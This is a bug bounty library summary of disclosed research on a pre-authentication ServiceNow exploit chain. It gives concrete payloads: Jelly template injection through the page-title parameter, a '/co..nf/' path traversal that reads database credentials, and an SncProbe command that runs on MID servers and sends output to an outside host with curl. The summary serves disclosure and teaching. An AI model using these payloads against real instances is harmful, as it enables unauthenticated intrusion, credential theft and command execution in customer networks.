# Chaining Three Bugs to Access All Your ServiceNow Data

Pre-auth chain in ServiceNow: page-title injection bypasses HTML sanitizer, Jelly template injection bypasses namespace/escape mitigations, and a path-cleanup flaw reads DB credentials.

- Payout: Research
- Severity: critical
- Program: ServiceNow
- Credited: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2024-4879, CVE-2024-5178, CVE-2024-5217
- Write-up quality: 9/10
- Original: https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-chaining-three-bugs-to-access-all-your-servicenow-data
- Tags: domain:web impact:data-leak impact:internal-access impact:rce kind:research platform:research sev:critical tech:java technique:chained technique:source-review vuln:auth-bypass vuln:path-traversal vuln:rce

**Target:** ServiceNow cloud instance web UI (login.do, Jelly UI pages, SecurelyAccess)
**Root cause:** Jelly UI pages are evaluated in two phases (${}/g: then $[]/g2:), and user query params like jvar_page_title are auto-bound into templates; sanitizer allows <style> so XML tags survive, and namespace/escape mitigations are bypassable via single-quoted xmlns:g='glide'. Separately, SecurelyAccess validates canonical path against a blacklist but SysFileUtil.cleanupPath strips '..' after validation, allowing /co..nf/ traversal.
**Steps:**
1. Visit `/login.do?jvar_page_title=<b>aaa</b>` to confirm query param binds to jvar_page_title and is reflected unsanitized in title.
2. Bypass HTML sanitizer with `<style><foo>abc</foo></style>` so inner content is parsed as XML by Jelly.
3. Attempt `<j:jelly xmlns:j="jelly" xmlns:z="glide"><z:evaluate>...` — blocked: 'jelly namespace glide registered to invalid prefix z'.
4. Rebind g with single quotes to bypass GLIDE_NS_PATTERN: `<style><j:jelly xmlns:j="jelly" xmlns:g='glide'><g:evaluate>gs.addErrorMessage(7*7);</g:evaluate></j:jelly></style>` → code execution.
5. Read DB creds: `z=new Packages.java.io.File("").getAbsolutePath();z=z.substring(0,z.lastIndexOf("/"));u=new SecurelyAccess(z.concat("/co..nf/glide.db.properties")).getBufferedReader();...`
6. For MID server RCE: `p=SncProbe.get("Command");p.setName("curl http://honeypot/?x=$(uname -a|base64 -w0)");p.create("*");`
7. Dump user hashes via GlideRecord on sys_user.
**How found:** Asked how ServiceNow routes requests; noticed two evaluation prefixes (g:/g2:) and two delimiters (${}/$[]) implying double evaluation. Grepped for <g:no_escape> and found html_page_title.xml using it on jvar_page_title. Tried /login.do?jvar_page_title=<b>aaa</b> and saw injection. Then read GlideHTMLSanitizer source, spotted 'style' in element whitelist, and read GlideJellyXMLParser/GlideExpressionScript to find namespace and regex mitigations to bypass. For filesystem, read SecurelyAccess.isValidFilePath and noticed cleanupPath strips '..' after canonical check.
**Exploitation:** Unauthenticated attacker hits /login.do with crafted jvar_page_title containing <style>-wrapped Jelly that rebinds g to glide namespace and runs g:evaluate JS. From JS, use SecurelyAccess with /co..nf/ path to read glide.db.properties DB credentials, connect directly to DB; or use SncProbe to execute commands on all configured MID servers inside customer networks.
**Escalation:** JS sandbox → filesystem read of DB credentials → direct DB access bypassing ACLs; or SncProbe → RCE on every MID server in internal network.
**Insight:** When a templating engine evaluates in two passes with different prefixes/delimiters, hunt for sinks using no_escape and for auto-bound request params (jvar_*) that shadow template variables. Also check whether path sanitizers run before or after canonicalization — a cleanupPath that strips '..' post-validation enables /co..nf/ style traversal past blacklists.
